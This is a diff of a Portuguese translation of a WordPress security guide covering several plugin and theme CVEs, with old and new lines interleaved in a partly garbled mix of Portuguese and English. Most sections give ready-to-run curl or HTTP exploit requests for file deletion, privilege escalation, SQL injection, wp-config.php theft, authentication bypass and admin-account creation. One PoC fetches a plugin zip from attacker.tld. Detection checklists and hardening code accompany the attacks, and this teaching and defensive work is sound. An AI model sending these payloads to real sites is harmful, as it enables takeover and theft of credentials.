- **Sem sanitização de caminho** – a string controlada pelo usuário `fontfamily` é concatenada a um caminho do sistema de arquivos sem filtragem, permitindo o clássico traversal `../../`.
|
||||
Problemas introduzidos por este snippet:
|
||||
|
||||
#### Exploração
|
||||
* **Unauthenticated access** – o hook `wp_ajax_nopriv_` está registrado.
|
||||
* **Sem nonce / capability check** – qualquer visitante pode acessar o endpoint.
|
||||
* **Sem sanitização do caminho** – a string controlada pelo usuário `fontfamily` é concatenada a um caminho do sistema de arquivos sem filtragem, permitindo o clássico `../../` traversal.
|
||||
|
||||
Um atacante pode deletar qualquer arquivo ou diretório **abaixo do diretório base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando uma única requisição HTTP POST:
|
||||
#### Exploitation
|
||||
|
||||
Um atacante pode excluir qualquer arquivo ou diretório **abaixo do diretório base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando uma única requisição HTTP POST:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
@ -457,44 +450,21 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
```
|
||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
||||
|
||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||||
Outros alvos impactantes incluem arquivos `.php` de plugin/theme (para comprometer plugins de segurança) ou regras `.htaccess`.
|
||||
|
||||
#### Checklist de detecção
|
||||
|
||||
* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chame helpers de sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenação de entrada de usuário não sanitizada em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chame helpers do sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenação de entrada do usuário não sanitizada em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Ausência de `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Endurecimento
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Sempre** trate qualquer operação de escrita/remoção no disco como privilegiada e verifique duas vezes:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
Muitos plugins implementam uma funcionalidade "view as role" ou troca temporária de role salvando o(s) role(s) original(is) em user meta para que possam ser restaurados depois. Se o caminho de restauração depender apenas de request parameters (por exemplo, `$_REQUEST['reset-for']`) e de uma lista mantida pelo plugin sem verificar capabilities e um nonce válido, isso pode se tornar uma vertical privilege escalation.
|
||||
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
|
||||
|
||||
Um exemplo real foi encontrado no plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). O branch de reset restaurava roles baseado em `reset-for=<username>` se o username aparecesse em um array interno `$options['viewing_admin_as_role_are']`, mas não executava nem uma checagem `current_user_can()` nem uma verificação de nonce antes de remover os roles atuais e re-adicionar os roles salvos em user meta `_asenha_view_admin_as_original_roles`:
|
||||
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -509,19 +479,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Por que é explorável
|
||||
Why it’s exploitable
|
||||
|
||||
- Confia em `$_REQUEST['reset-for']` e em uma opção do plugin sem autorização no servidor.
|
||||
- Se um usuário anteriormente teve privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o caminho de reset.
|
||||
- Em algumas implantações, qualquer usuário autenticado poderia acionar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada).
|
||||
- Confia em `$_REQUEST['reset-for']` e em uma opção do plugin sem autorização no lado do servidor.
|
||||
- Se um usuário anteriormente tinha privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o caminho de reset.
|
||||
- Em algumas implantações, qualquer usuário autenticado poderia disparar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada).
|
||||
|
||||
Pré-requisitos do ataque
|
||||
|
||||
- Versão vulnerável do plugin com o recurso habilitado.
|
||||
- A conta alvo tem um papel de alto privilégio antigo armazenado em user meta por uso anterior.
|
||||
- Qualquer sessão autenticada; falta de nonce/capability no fluxo de reset.
|
||||
|
||||
Exploração (exemplo)
|
||||
Exploitation (example)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
@ -529,36 +493,23 @@ Exploração (exemplo)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Em instalações vulneráveis isto remove as funções atuais e readiciona as funções originais salvas (por exemplo, `administrator`), efetivamente escalando privilégios.
|
||||
Em builds vulneráveis isso remove as roles atuais e readiciona as roles originais salvas (por exemplo, `administrator`), efetivamente escalando privilégios.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Procure por recursos de troca de função que persistam as “funções originais” em meta do usuário (por exemplo, `_asenha_view_admin_as_original_roles`).
|
||||
- Identifique caminhos de redefinição/restauração que:
|
||||
- Leia nomes de usuário de `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modifique funções via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorize com base em um array de opção do plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator.
|
||||
|
||||
Hardening
|
||||
|
||||
- Enforce capability checks on every state-changing branch (e.g., `current_user_can('manage_options')` or stricter).
|
||||
- Exija nonces para todas as mutações de função/permissão e verifique-os: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nunca confie em nomes de usuário fornecidos pela requisição; resolva o usuário alvo no servidor com base no ator autenticado e em política explícita.
|
||||
- Invalide o estado de “funções originais” em atualizações de perfil/função para evitar restauração de privilégios elevados obsoletos:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Considere armazenar estado mínimo e usar tokens com tempo limitado e protegidos por capability para trocas de papel temporárias.
|
||||
- Procure por funcionalidades de troca de role que persistem as “original roles” em user meta (por exemplo, `_asenha_view_admin_as_original_roles`).
|
||||
- Identifique caminhos de reset/restore que:
|
||||
- Leem usernames de `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modificam roles via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorizam com base em um array de opção do plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator.
|
||||
|
||||
---
|
||||
|
||||
### Escalada de privilégios não autenticada via troca de usuário confiando em cookie no init público (Service Finder “sf-booking”)
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
|
||||
Alguns plugins conectam helpers de troca de usuário ao hook público `init` e derivam a identidade de um cookie controlado pelo cliente. Se o código chama `wp_set_auth_cookie()` sem verificar autenticação, capability e um nonce válido, qualquer visitante não autenticado pode forçar o login como um ID de usuário arbitrário.
|
||||
Alguns plugins conectam helpers de troca de usuário ao hook público `init` e derivam a identidade a partir de um cookie controlado pelo cliente. Se o código chama `wp_set_auth_cookie()` sem verificar autenticação, capability e um nonce válido, qualquer visitante não autenticado pode forçar o login como um ID de usuário arbitrário.
|
||||
|
||||
Padrão vulnerável típico (simplificado do Service Finder Bookings ≤ 6.1):
|
||||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
@ -589,11 +540,11 @@ wp_die('No original user found to switch back to.');
|
||||
```
|
||||
Por que é explorável
|
||||
|
||||
- O hook público `init` torna o handler acessível por usuários não autenticados (sem a verificação `is_user_logged_in()`).
|
||||
- O hook público `init` torna o handler acessível por usuários não autenticados (sem verificação `is_user_logged_in()`).
|
||||
- A identidade é derivada de um cookie modificável pelo cliente (`original_user_id`).
|
||||
- Chamada direta para `wp_set_auth_cookie($uid)` autentica o requisitante como esse usuário sem quaisquer verificações de capability/nonce.
|
||||
- A chamada direta a `wp_set_auth_cookie($uid)` autentica o solicitante como esse usuário sem quaisquer verificações de capability/nonce.
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
Exploração (sem autenticação)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -603,32 +554,32 @@ Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### Considerações de WAF para WordPress/plugin CVEs
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
|
||||
WAFs genéricos de borda/servidor são ajustados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugins são bugs de lógica/auth específicos da aplicação que parecem tráfego benigno, a menos que o motor entenda as rotas do WordPress e a semântica dos plugins.
|
||||
WAFs genéricos de edge/servidor são calibrados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugins são bugs de lógica/auth específicos da aplicação que parecem tráfego benigno, a menos que o engine entenda as rotas do WordPress e a semântica do plugin.
|
||||
|
||||
Notas ofensivas
|
||||
Offensive notes
|
||||
|
||||
- Aponte para endpoints específicos do plugin com payloads limpos: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Teste primeiro caminhos sem autenticação (AJAX `nopriv`, REST com permissive `permission_callback`, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem ofuscação.
|
||||
- Casos típicos de alto impacto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
- Alveje endpoints específicos do plugin com payloads limpos: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Teste caminhos não autenticados primeiro (AJAX `nopriv`, REST com permissive `permission_callback`, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem obfuscação.
|
||||
- Casos típicos de alto impacto: escalonamento de privilégios (controle de acesso quebrado), upload/download arbitrário de arquivos, LFI, open redirect.
|
||||
|
||||
Notas defensivas
|
||||
Defensive notes
|
||||
|
||||
- Não confie em assinaturas genéricas de WAF para proteger plugin CVEs. Implemente virtual patches específicos por vulnerabilidade na camada de aplicação ou atualize rapidamente.
|
||||
- Prefira verificações de positive-security no código (capabilities, nonces, validação estrita de entrada) em vez de filtros regex negativos.
|
||||
- Não confie em assinaturas genéricas de WAF para proteger CVEs de plugins. Implemente patches virtuais específicos de vulnerabilidade na camada de aplicação ou atualize rapidamente.
|
||||
- Prefira verificações de segurança do tipo positive-security no código (capabilities, nonces, validação estrita de entrada) em vez de filtros negativos por regex.
|
||||
|
||||
## Proteção do WordPress
|
||||
|
||||
### Atualizações regulares
|
||||
|
||||
Certifique-se de que WordPress, plugins e temas estejam atualizados. Confirme também que a atualização automática está habilitada em wp-config.php:
|
||||
Certifique-se de que WordPress, plugins, e themes estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Além disso, **apenas instale plugins e temas confiáveis do WordPress**.
|
||||
Além disso, **instale apenas plugins e temas confiáveis do WordPress**.
|
||||
|
||||
### Plugins de Segurança
|
||||
|
||||
@ -640,14 +591,13 @@ Além disso, **apenas instale plugins e temas confiáveis do WordPress**.
|
||||
|
||||
- Remova o usuário padrão **admin**
|
||||
- Use **senhas fortes** e **2FA**
|
||||
- Periodicamente **revise** as **permissões** dos usuários
|
||||
- **Limite tentativas de login** para prevenir ataques de Brute Force
|
||||
- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou a partir de certos endereços IP.
|
||||
- Periodicamente **revisar** as **permissões** dos usuários
|
||||
- **Limitar tentativas de login** para prevenir ataques Brute Force
|
||||
- Renomeie o arquivo **`wp-admin.php`** e permita acesso somente internamente ou de certos endereços IP.
|
||||
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
### Injeção SQL não autenticada via validação insuficiente (WP Job Portal <= 2.3.2)
|
||||
|
||||
O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que, em última instância, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`:
|
||||
O plugin WP Job Portal de recrutamento expôs uma tarefa **savecategory** que, em última instância, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -659,17 +609,17 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
```
|
||||
Problemas introduzidos por este trecho:
|
||||
|
||||
1. **Unsanitised user input** – `parentid` vem diretamente da requisição HTTP.
|
||||
2. **String concatenation inside the WHERE clause** – sem `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – embora a ação seja executada através de `admin-post.php`, a única verificação presente é um **CSRF nonce** (`wp_verify_nonce()`), que qualquer visitante pode recuperar de uma página pública que incorpora o shortcode `[wpjobportal_my_resumes]`.
|
||||
1. **Entrada de usuário não sanitizada** – `parentid` vem diretamente da requisição HTTP.
|
||||
2. **Concatenação de strings dentro da cláusula WHERE** – sem `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Alcance sem autenticação** – embora a ação seja executada através de `admin-post.php`, a única verificação presente é um **CSRF nonce** (`wp_verify_nonce()`), que qualquer visitante pode recuperar de uma página pública que embede o shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Exploração
|
||||
|
||||
1. Obtenha um nonce novo:
|
||||
1. Obtenha um nonce válido:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Injete SQL arbitrário explorando `parentid`:
|
||||
2. Injete SQL arbitrário abusando de `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -677,20 +627,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
A resposta revela o resultado da query injetada ou altera o banco de dados, comprovando SQLi.
|
||||
A resposta revela o resultado da consulta injetada ou altera o banco de dados, provando SQLi.
|
||||
|
||||
|
||||
### Download Arbitrário de Arquivos sem Autenticação / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Outra tarefa, **downloadcustomfile**, permitia que visitantes fizessem download de **qualquer arquivo no disco** via path traversal. O sink vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Outra tarefa, **downloadcustomfile**, permitia que visitantes baixassem **qualquer arquivo no disco** via path traversal. O sink vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página de currículo.
|
||||
`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página do currículo.
|
||||
|
||||
#### Exploitation
|
||||
#### Exploração
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -701,6 +651,197 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
```
|
||||
O servidor responde com o conteúdo de `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Tomada de conta não autenticada via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
Many themes/plugins ship "social login" helpers exposed via admin-ajax.php. If an unauthenticated AJAX action (wp_ajax_nopriv_...) trusts client-supplied identifiers when provider data is missing and then calls wp_set_auth_cookie(), this becomes a full authentication bypass.
|
||||
|
||||
Typical flawed pattern (simplified)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
switch ($_POST['using']) {
|
||||
case 'fb': /* set $user_email from verified Facebook token */ break;
|
||||
case 'google': /* set $user_email from verified Google token */ break;
|
||||
// other providers ...
|
||||
default: /* unsupported/missing provider – execution continues */ break;
|
||||
}
|
||||
|
||||
// FALLBACK: trust POSTed "id" as email if provider data missing
|
||||
$user_email = !empty($user_email)
|
||||
? $user_email
|
||||
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
|
||||
|
||||
if (empty($user_email)) {
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
|
||||
$user = get_user_by('email', $user_email);
|
||||
if ($user) {
|
||||
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
|
||||
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
|
||||
}
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||
```
|
||||
Por que é explorável
|
||||
|
||||
- Acessível sem autenticação via admin-ajax.php (ação wp_ajax_nopriv_…).
|
||||
- Não há verificações de nonce/capability antes de mudança de estado.
|
||||
- Falta verificação do provedor OAuth/OpenID; o default branch aceita entrada do atacante.
|
||||
- get_user_by('email', $_POST['id']) seguido de wp_set_auth_cookie($uid) autentica o solicitante como qualquer endereço de email existente.
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
|
||||
- Pré-requisitos: o atacante consegue acessar /wp-admin/admin-ajax.php e sabe/adivinha um email de usuário válido.
|
||||
- Defina o provedor como um valor não suportado (ou omita) para atingir o default branch e passar id=<victim_email>.
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Indicadores de sucesso esperados
|
||||
|
||||
- HTTP 200 com corpo JSON como {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* para o usuário vítima; requisições subsequentes são autenticadas.
|
||||
|
||||
Encontrando o nome da action
|
||||
|
||||
- Inspecione o tema/plugin procurando por registros add_action('wp_ajax_nopriv_...', '...') no código de social login (ex.: framework/add-ons/social-login/class-social-login.php).
|
||||
- Procure por wp_set_auth_cookie(), get_user_by('email', ...) dentro dos handlers AJAX.
|
||||
|
||||
Checklist de detecção
|
||||
|
||||
- Web logs mostrando POSTs não autenticados para /wp-admin/admin-ajax.php com a action social-login e id=<email>.
|
||||
- Respostas 200 com o JSON de sucesso imediatamente antes de tráfego autenticado vindo do mesmo IP/User-Agent.
|
||||
|
||||
Endurecimento
|
||||
|
||||
- Não derive identidade a partir de entrada do cliente. Aceite apenas emails/IDs que se originem de um token/ID do provedor validado.
|
||||
- Exija nonces CSRF e checagens de capability mesmo para helpers de login; evite registrar wp_ajax_nopriv_ a menos que estritamente necessário.
|
||||
- Valide e verifique respostas OAuth/OIDC no servidor; rejeite providers ausentes/inválidos (sem fallback para o POST id).
|
||||
- Considere desabilitar temporariamente o social login ou aplicar um patch virtual na borda (bloquear a action vulnerável) até corrigir.
|
||||
|
||||
Patched behaviour (Jobmonster 4.8.0)
|
||||
|
||||
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||||
|
||||
## Escalada de privilégios não autenticada via emissão de token/chave REST em identidade previsível (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Alguns plugins expõem endpoints REST que emitem “connection keys” reutilizáveis ou tokens sem verificar as capacidades do chamador. Se a rota autentica apenas com base em um atributo previsível (ex.: username) e não vincula a chave a um usuário/sessão com checagens de capability, qualquer atacante não autenticado pode emitir uma chave e invocar ações privilegiadas (criação de conta admin, ações de plugin → RCE).
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: comprometimento total ao encadear a chave emitida a ações internas privilegiadas
|
||||
|
||||
PoC – emitir uma connection key e usá-la
|
||||
```bash
|
||||
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"username":"admin"}'
|
||||
# → {"key":"<conn_key>", ...}
|
||||
|
||||
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Por que é explorável
|
||||
- Rota REST sensível protegida apenas por prova de identidade de baixa entropia (username) ou ausência de permission_callback
|
||||
- Sem enforcement de capability; a chave emitida é aceita como bypass universal
|
||||
|
||||
Checklist de detecção
|
||||
- Grep o código do plugin por register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Qualquer rota que emita tokens/chaves com base em identidade fornecida na requisição (username/email) sem vinculá-la a um usuário autenticado ou capability
|
||||
- Procure rotas subsequentes que aceitem o token/chave emitido sem checagens de capability no lado do servidor
|
||||
|
||||
Mitigações
|
||||
- Para qualquer rota REST privilegiada: exigir permission_callback que aplique current_user_can() para a capability requerida
|
||||
- Não crie chaves de longa duração a partir de identidade fornecida pelo cliente; se necessário, emita tokens de curta duração vinculados ao usuário após autenticação e reavalie as capabilities no uso
|
||||
- Valide o contexto de usuário do chamador (wp_set_current_user não é suficiente sozinho) e rejeite requisições onde !is_user_logged_in() || !current_user_can(<cap>)
|
||||
|
||||
---
|
||||
|
||||
## Uso indevido do Nonce → instalação arbitrária de plugin sem autenticação (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces previnem CSRF, não autorização. Se o código trata a aprovação do nonce como sinal verde e então ignora checagens de capability para operações privilegiadas (por exemplo, install/activate plugins), atacantes não autenticados podem satisfazer um requisito de nonce fraco e alcançar RCE instalando um plugin com backdoor ou vulnerável.
|
||||
|
||||
- Caminho vulnerável: plugin/install_and_activate
|
||||
- Falha: verificação fraca do hash do nonce; ausência de current_user_can('install_plugins'|'activate_plugins') uma vez que o nonce “passe”
|
||||
- Impacto: comprometimento total via instalação/ativação arbitrária de plugins
|
||||
|
||||
PoC (shape depends on plugin; illustrative only)
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
Detection checklist
|
||||
- REST/AJAX handlers que modificam plugins/themes usando apenas wp_verify_nonce()/check_admin_referer() e sem verificação de capability
|
||||
- Qualquer caminho de código que define $skip_caps = true após validação do nonce
|
||||
|
||||
Hardening
|
||||
- Sempre trate nonces apenas como tokens CSRF; aplique verificações de capability independentemente do estado do nonce
|
||||
- Exigir current_user_can('install_plugins') e current_user_can('activate_plugins') antes de alcançar o código do instalador
|
||||
- Rejeitar acesso não autenticado; evitar expor nopriv AJAX actions para fluxos privilegiados
|
||||
|
||||
---
|
||||
|
||||
## SQLi não autenticado via parâmetro s (search) em ações depicter-* (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
Múltiplas ações depicter-* consumiam o parâmetro s (search) e o concatenavam em queries SQL sem parametrização.
|
||||
|
||||
- Parâmetro: s (search)
|
||||
- Falha: concatenação direta de strings em cláusulas WHERE/LIKE; sem prepared statements/sanitização
|
||||
- Impacto: exfiltração do banco de dados (usuários, hashes), movimentação lateral
|
||||
|
||||
PoC
|
||||
```bash
|
||||
# Replace action with the affected depicter-* handler on the target
|
||||
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
Checklist de detecção
|
||||
- Grep por depicter-* action handlers e pelo uso direto de $_GET['s'] ou $_POST['s'] em SQL
|
||||
- Revise consultas customizadas passadas para $wpdb->get_results()/query() que concatenam s
|
||||
|
||||
Endurecimento
|
||||
- Use sempre $wpdb->prepare() ou placeholders do wpdb; rejeite metacaracteres inesperados no servidor
|
||||
- Adicione uma allowlist estrita para s e normalize para o charset/tamanho esperado
|
||||
|
||||
---
|
||||
|
||||
## Não autenticado Local File Inclusion via caminho de template/arquivo não validado (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
Aceitar caminhos controlados pelo atacante em um parâmetro de template sem normalização/contenção permite ler arquivos locais arbitrários, e às vezes executar código se arquivos PHP/logs incluíveis forem carregados em tempo de execução.
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Falha: sem normalização/allowlisting; traversal permitido
|
||||
- Impacto: divulgação de segredos (wp-config.php), potencial RCE em ambientes específicos (log poisoning, includable PHP)
|
||||
|
||||
PoC – ler wp-config.php
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
Checklist de detecção
|
||||
- Qualquer handler que concatene request paths em sinks include()/require()/read sem contenção via realpath()
|
||||
- Procure por padrões de traversal (../) que alcancem fora do diretório de templates pretendido
|
||||
|
||||
Endurecimento
|
||||
- Imponha templates permitidos; resolva com realpath() e exija str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Normalize a entrada; rejeite sequências de traversal e caminhos absolutos; use sanitize_file_name() somente para nomes de arquivo (não para caminhos completos)
|
||||
|
||||
|
||||
## Referências
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
@ -712,5 +853,11 @@ O servidor responde com o conteúdo de `wp-config.php`, leaking DB credentials a
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
|
||||
- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
|
||||
